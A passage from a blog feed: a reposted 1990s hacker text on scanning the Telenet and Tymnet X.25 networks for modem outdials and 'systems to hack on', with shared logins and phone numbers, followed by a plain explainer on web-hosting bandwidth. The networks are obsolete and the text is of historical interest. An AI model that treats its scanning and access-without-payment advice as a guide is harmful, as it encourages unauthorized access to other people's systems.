/&gt;Outdial - Is basicly what it says an modem port connected somewhere on the network that will allow you to dial out from and connect data only to a actually phone number not an Nua.&lt;br /&gt;&lt;br /&gt;Pad (Packet Assemble Disassembler) - an x.25 pad is very useful an pad using x.25. protocal transmits at 9600 bps to an Nua. This may sound funny but i call them &quot;Launch Pads&quot; heh like with an x.25 you can usally access any Nua on the planet by usally typing the Dnic+Nua.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now i will explain various things and give helpful ideas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Let me start off with some helpful things for you to try and do.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; TeleNet&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The first thing your going to have to have is your Access number it is very easy to get your local access number.&amp;nbsp; Simply call telenet at 1-800-TELENET that is thier customer service number and ask for your dialup the operator will ask for your area code and prefix of your phone number he/she will also ask your baud rate.&amp;nbsp; There are many telenet ports across the country and internationly with varying baud rates from 110 bps (yuck) to 9600 (i wish i had) so you will want your maximum baud port most locations have atleast 1200 many have 2400 and not alot have 9600 ports like for big cities like Detroit and Los Angeles at the end of the file i will list some useful numbers.&lt;br /&gt;Some things to do while online with Telenet and Tymnet.&amp;nbsp; While at the @ on the Telenet system type &quot;mail&quot; or &quot;C mail&quot; or &quot;telemail&quot; or even &quot;c telemail&quot; this access&#39;s telenets mail system simple entitled &quot;Telemail&quot; from there it will ask &quot;user name&quot; or something like that type &quot;phones&quot; next it will prompt you &quot;password&quot; enter &quot;phones&quot;.&amp;nbsp; The phones service has alot of worthy information it will give you a menu to choose from the rest should be self explanatory.&amp;nbsp; Along with the other information on the phones service there is a complete updated list of all Telenet access numbers which is conveinent.&amp;nbsp; Once you have tried the phones service also on telemail enter &quot;Intl/Associates&quot; as the user name and &quot;Intl&quot; for the international access numbers.&amp;nbsp; If you are calling from overseas somewhere connect with an telenet access number then type this Nua at the telenet @ prompt &quot;311020200142&quot; and enter the username and password.&lt;br /&gt;You might want to pick up a sort of a reference booklet on Telenet simply again call the customer service number and ask them for &quot;How to use Telenet&#39;s Asychronus Dial Service&quot; and give them your address which is self explanatory.&lt;br /&gt;Another tidbit of info you would like to know if you already didnt know that Telenet is owned by Us Sprint long distance service.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Tymnet&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; The same goes for Tymnet service you will first need an Access Number.&amp;nbsp; Simply call Tymnet customer service at 1-800-872-7654 and ask them.&amp;nbsp; Again you might like to get Tymnets reference booklet on how to use there system simply again ask them to send it to you.&amp;nbsp; Once online with a Tymnet access number type &quot;Information&quot; at the user name prompt and you will be connected to another nice thing on tymnet which you have access to all thier Access Numbers also just like the &quot;phones&quot; service on Telenet.&amp;nbsp; Tymnet is owned by &quot;Mcdowell Douglas&quot; corporation.&amp;nbsp; Unlike Telenet where a long distance company owns the network.&amp;nbsp; On Tymnet in the &quot;Information&quot; service there is a very cool option that will provide you with all the Dnic&#39;s (Networks) available from Tymnet.&amp;nbsp; You may also want to get that on buffer but for your conveinience i will include a copy of that.&amp;nbsp; The file &quot;Basic.NetworksII&quot; is the complete listing and i would like the Basic.NetworksII file to be accompanied by this file for the most part.&lt;br /&gt;&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Outdials&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Now i will discuss Outdials and tell how to use them.&amp;nbsp; An Outdial on Telenet is an Pcp Port usally.&amp;nbsp; It will enable you to connect data with a carrier.&amp;nbsp; An Outdial is a modem connected up to the network to access the outdial spimply type the outdials Nua.&amp;nbsp; Usally you will need a Nui or Pad to use an Outdial on Telenet just to let you know.&amp;nbsp; Once connected to an Outdial on Telenet type &quot;Ctrl-e&quot; to get into the command mode of the Outdial or if your sharp on your Hayes modem AT command set just issue the commands thru the Outdial besure to type &quot;Atz&quot; when logged in to reset the modem parameters to default values.&amp;nbsp; Outdials range from different baud rates just like what kind of modem is hooked into the Outdial port.&amp;nbsp; This is the basic Telenet Outdial but there are many types a Tymnet Asychronus is a very good Outdial to use like i said there are many different types the above is for Telenet Pcp Outdials which are used most widely.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Scanning Telenet&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Well now i will explain how to scan telenet and how to find Pcp outdials etc.&amp;nbsp; When scanning telenet call your Access Number and at the prompt enter the Nua.&amp;nbsp; Plan to scan a certain amount of Nua&#39;s in a session wether the number is up to you, usally when i scan i scan in blocks of 100 you can find alot of things while scanning.&amp;nbsp; I will tell how to find pcp outdials, first if your looking for a particular area code for the outdial take the 313 area code for example usally an outdial is in the first 150 numbers scanned so i would suggest if scanning for outdials scan like this..the area code for which you want the outdial two 0&#39;s then a three digit number so the scan would look like this...31300001,31300002,31300003 etc.. im sure you get it...along the way you will probably find other neat things.&amp;nbsp; Some things to know when scanning telenet is when you enter an Nua and it freezes like wont do anything send a break signal, for me i use Proterm for the Apple the break signal is open-apple b once the break signal is sent it should go back to a @ prompt again.&amp;nbsp; If you try scanning another nua directly after you broke out from the frozen portion Telenet will give you an error message &quot;Connection Pending&quot; which means it is still looking for the Nua system from which you requested previously.&amp;nbsp; To remedy this situation after the break signal is sent type &quot;d&quot; for disconnect it will then tell you the connection has been terminated. Proceed scanning the Nua continuing where you left off. (Note. you will get the freeze and have to repeat the sequence over and over again as of there are A LOT of Nuas that freeze) Well i bet your asking &quot;how do i know when ive found an outdial?&quot; usally Telenet will respond with a connect message and then nothing try to type &quot;Atz&quot; if it responds &quot;ok&quot; then you have a Outdial port where as Atz is the hayes modem command for reseting the modems paramaters to default settings.&amp;nbsp; Ok now i will explain some things to look for and some wise things to do while scanning and also supply an response key explanations.&lt;br /&gt;Whenever you &quot;Connected&quot; to an Nua write it down no matter what it is make notes of what you find and label them for instance if you encounter any of these messages.&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; User Name = a Vax System&lt;br /&gt;&amp;nbsp;&amp;nbsp; Login = a Unix system&lt;br /&gt;&amp;nbsp;&amp;nbsp; Primenet = a prime system&lt;br /&gt;&amp;nbsp;&amp;nbsp; Password = something worth noting&lt;br /&gt;&lt;br /&gt;Basicly anything that connects take note of this is very useful for finding systems to hack on even though most or all of Telenet has been scanned at one time or another there are always somethings to do! that is a FACT!&amp;nbsp; Be sure to write down all &quot;Refused Collect Connection&quot; also because we must not forget that when we request an Nua that we are asking for a collect call all Nuas inputed on Telenet without an Nui are being paid for by the particlar system requested that is why when an Outdials Nua is requested without any sort of Pad,Nui etc. it will not excecpt the call in all cases i have encountered&lt;br /&gt;&lt;br /&gt;Here is a list of Network Messages that Telenet will respond with remember these are for any type of Telenet access the following may appear and a completed explanation.&amp;nbsp; &lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; @ is the network command prompt&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; ? the last entry was invalid&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Access Bared - Your connection request does not allow you to&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; connect to this system&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Access to This Address not permitted - Your Nui is not authorized to&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; access the address you typed&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Attempt Aborted - You enterd the disconnect command (as we said before&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; when it freezes when scanning)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Busy - All the ports,destinations are in use try again later&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Collect Wats Call Not Permitted - Collect Wats calls not permitted by&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; your host or authorized by your Nui&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connected - Your terminal has been connected to the Nua system you&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; requested&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection From - Your terminal has been called by another computer or&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; terminal&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Connection Pending - The Network is try to establish a connection with&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the Nua you requested (enter the d command or &quot;bye&quot; to disconnect the&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; attempt)&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Disconnected - Your terminal has been disconnected from the terminal&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; you called&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Enhanced Network Services System Error - Your call couldnt be&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; validated contact customer service&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Enhanced Network services unavailable at this time - Serivce is&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; temporarily unavailable try again later&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Illegal Address - enter the Connect sequence again whether it be an Nua&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; or a system name&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Invalid Charge Request -&amp;nbsp; your payment selection is not valid&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Invalid User Id or Password - The Nui you entered is not valid&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Local Congestion - Your local Access number is busy try again in a&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; couple minutes&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Local Disconnect - Your Terminal has been disconnected&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Local Network Outage - A temporary problem is preventing you from using&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the network&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Local Procedure Error - Communication problems by the network caused&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; the network to clear your call&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Not Available,Not Operating,Not Responding -&amp;nbsp; Your Computer cannot&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; accept your request for connection try later&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Not Connected - You have entered a command thai s only valid when&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; connected to a system type &quot;cont&quot; to be brought back into the&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; connection&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Not Reachable - A temporary conditon prevents you from using the&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; network&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Password - This is the prompt which apprears after youve entered an Nui&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; *** Possible Data Loss - connecton has been reset&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Refused Collect Connection - Your payment selection must be prepaid&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Rejecting - Host copmputer refuses to accept the call&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Remote Procedure Error - Communication problems forced the network to&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; clear our call&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Still Connected - You requested another service while your online to&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; another&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Telenet XXX XXX - Network Port you are using&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Terminal - This is the terminal type prompt&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Unable to validate call - Your Nui has been temporarily disbaled&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Unable to validate call contact admin - The Nui has been permently&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; disabled&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Unknown Adress - Your Nua may be invalid&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; Wats Call not permitted - Telenet In-wats calls are not permitted by&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; your host or your Nui&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Well that is the end of the Telenet messages and this is the end of our file only left is the numbers i have and some other usual stuff&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Telenet Customer service 1-800-TELENET&lt;br /&gt;Tymnet Customer service 1-800-872-7654&lt;br /&gt;Telenet Access # 313/964-2988 1200 bps 313/963-2274 2400 313/964-3133 9600 bps&lt;br /&gt;Tymnet Access# 313/962-2870&lt;br /&gt;Global Outdial at 20200123&lt;br /&gt;&lt;br /&gt;Well that is about it id like to greet some people here SoldierOfFortune,Frodo,TheBit,Hellraiser,Icecube,Slaytanic,Corrupt,Lorax,Deadman#The Disk Master,The Hunter,DPAK,MOD,Rat,The Traxster,The Apple Bandit,El Cid,Shadow,Blue Adept,Blacknight,LOD,HALE,DungeonMaster,Blackbeard,Kilroy,The Whole Interchat scene,All my buddys from the alliances,Gambler,Sabers Edge,Misfit,The Flash,Qsd friends,All the people who called my Vmb&#39;z for &quot;Rad Infoz&quot; and helped to keep it going and all the whole people you make a difference &quot;All you Kids out There keep the Faith!&quot;&lt;br /&gt;&lt;br /&gt;I can be reached on Funtime Gs at 305-989-0181 d215*guest is the new user pass&lt;br /&gt;I can be reached at this Vmb 313-980-5632&lt;br /&gt;and soon im going to be running a bbs with a friend of mine so be sure to look for that like i said im outta here Slaytze!!!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Text-Files 2:  </description><link>http://it-guide888.blogspot.com/2016/12/basic-networking.html</link><author>noreply@blogger.com (Agung Prasetiawan,)</author><thr:total>0</thr:total></item><item><guid isPermaLink="false">tag:blogger.com,1999:blog-1268181409109340851.post-8574536052121142818</guid><pubDate>Mon, 26 Dec 2016 07:20:00 +0000</pubDate><atom:updated>2016-12-25T23:20:01.361-08:00</atom:updated><category domain="http://www.blogger.com/atom/ns#">Articles</category><category domain="http://www.blogger.com/atom/ns#">Tips and Trick</category><title>BandWidth Explained</title><description>This is well written explanation about bandwidth, very useful info. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;BandWidth Explained &lt;br /&gt;&lt;br /&gt;Most hosting companies offer a variety of bandwidth options in their plans. So exactly what is bandwidth as it relates to web hosting? Put simply, bandwidth is the amount of traffic that is allowed to occur between your web site and the rest of the internet. The amount of bandwidth a hosting company can provide is determined by their network connections, both internal to their data center and external to the public internet. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Network Connectivity &lt;br /&gt;&lt;br /&gt;The internet, in the most simplest of terms, is a group of millions of computers connected by networks. These connections within the internet can be large or small depending upon the cabling and equipment that is used at a particular internet location. It is the size of each network connection that determines how much bandwidth is available. For example, if you use a DSL connection to connect to the internet, you have 1.54 Mega bits (Mb) of bandwidth. Bandwidth therefore is measured in bits (a single 0 or 1). Bits are grouped in bytes which form words, text, and other information that is transferred between your computer and the internet. &lt;br /&gt;&lt;br /&gt;If you have a DSL connection to the internet, you have dedicated bandwidth between your computer and your internet provider. But your internet provider may have thousands of DSL connections to their location. All of these connection aggregate at your internet provider who then has their own dedicated connection to the internet (or multiple connections) which is much larger than your single connection. They must have enough bandwidth to serve your computing needs as well as all of their other customers. So while you have a 1.54Mb connection to your internet provider, your internet provider may have a 255Mb connection to the internet so it can accommodate your needs and up to 166 other users (255/1.54). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Traffic &lt;br /&gt;&lt;br /&gt;A very simple analogy to use to understand bandwidth and traffic is to think of highways and cars. Bandwidth is the number of lanes on the highway and traffic is the number of cars on the highway. If you are the only car on a highway, you can travel very quickly. If you are stuck in the middle of rush hour, you may travel very slowly since all of the lanes are being used up. &lt;br /&gt;&lt;br /&gt;Traffic is simply the number of bits that are transferred on network connections. It is easiest to understand traffic using examples. One Gigabyte is 2 to the 30th power (1,073,741,824) bytes. One gigabyte is equal to 1,024 megabytes. To put this in perspective, it takes one byte to store one character. Imagine 100 file cabinets in a building, each of these cabinets holds 1000 folders. Each folder has 100 papers. Each paper contains 100 characters - A GB is all the characters in the building. An MP3 song is about 4MB, the same song in wav format is about 40MB, a full length movie can be 800MB to 1000MB (1000MB = 1GB). &lt;br /&gt;&lt;br /&gt;If you were to transfer this MP3 song from a web site to your computer, you would create 4MB of traffic between the web site you are downloading from and your computer. Depending upon the network connection between the web site and the internet, the transfer may occur very quickly, or it could take time if other people are also downloading files at the same time. If, for example, the web site you download from has a 10MB connection to the internet, and you are the only person accessing that web site to download your MP3, your 4MB file will be the only traffic on that web site. However, if three people are all downloading that same MP at the same time, 12MB (3 x 4MB) of traffic has been created. Because in this example, the host only has 10MB of bandwidth, someone will have to wait. The network equipment at the hosting company will cycle through each person downloading the file and transfer a small portion at a time so each person&#39;s file transfer can take place, but the transfer for everyone downloading the file will be slower. If 100 people all came to the site and downloaded the MP3 at the same time, the transfers would be extremely slow. If the host wanted to decrease the time it took to download files simultaneously, it could increase the bandwidth of their internet connection (at a cost due to upgrading equipment). &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Hosting Bandwidth &lt;br /&gt;&lt;br /&gt;In the example above, we discussed traffic in terms of downloading an MP3 file. However, each time you visit a web site, you are creating traffic, because in order to view that web page on your computer, the web page is first downloaded to your computer (between the web site and you) which is then displayed using your browser software (Internet Explorer, Netscape, etc.) . The page itself is simply a file that creates traffic just like the MP3 file in the example above (however, a web page is usually much smaller than a music file). &lt;br /&gt;&lt;br /&gt;A web page may be very small or large depending upon the amount of text and the number and quality of images integrated within the web page. For example, the home page for CNN.com is about 200KB (200 Kilobytes = 200,000 bytes = 1,600,000 bits). This is typically large for a web page. In comparison, Yahoo&#39;s home page is about 70KB. &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;How Much Bandwidth Is Enough? &lt;br /&gt;&lt;br /&gt;It depends (don&#39;t you hate that answer). But in truth, it does. Since bandwidth is a significant determinant of hosting plan prices, you should take time to determine just how much is right for you. Almost all hosting plans have bandwidth requirements measured in months, so you need to estimate the amount of bandwidth that will be required by your site on a monthly basis &lt;br /&gt;&lt;br /&gt;If you do not intend to provide file download capability from your site, the formula for calculating bandwidth is fairly straightforward: &lt;br /&gt;&lt;br /&gt;Average Daily Visitors x Average Page Views x Average Page Size x 31 x Fudge Factor &lt;br /&gt;&lt;br /&gt;If you intend to allow people to download files from your site, your bandwidth calculation should be: &lt;br /&gt;&lt;br /&gt;[(Average Daily Visitors x Average Page Views x Average Page Size) + &lt;br /&gt;(Average Daily File Downloads x Average File Size)] x 31 x Fudge Factor &lt;br /&gt;&lt;br /&gt;Let us examine each item in the formula: &lt;br /&gt;&lt;br /&gt;Average Daily Visitors - The number of people you expect to visit your site, on average, each day. Depending upon how you market your site, this number could be from 1 to 1,000,000. &lt;br /&gt;&lt;br /&gt;Average Page Views - On average, the number of web pages you expect a person to view. If you have 50 web pages in your web site, an average person may only view 5 of those pages each time they visit. &lt;br /&gt;&lt;br /&gt;Average Page Size - The average size of your web pages, in Kilobytes (KB). If you have already designed your site, you can calculate this directly. &lt;br /&gt;&lt;br /&gt;Average Daily File Downloads - The number of downloads you expect to occur on your site. This is a function of the numbers of visitors and how many times a visitor downloads a file, on average, each day. &lt;br /&gt;&lt;br /&gt;Average File Size - Average file size of files that are downloadable from your site. Similar to your web pages, if you already know which files can be downloaded, you can calculate this directly. &lt;br /&gt;&lt;br /&gt;Fudge Factor - A number greater than 1. Using 1.5 would be safe, which assumes that your estimate is off by 50%. However, if you were very unsure, you could use 2 or 3 to ensure that your bandwidth requirements are more than met. &lt;br /&gt;&lt;br /&gt;Usually, hosting plans offer bandwidth in terms of Gigabytes (GB) per month. This is why our formula takes daily averages and multiplies them by 31. 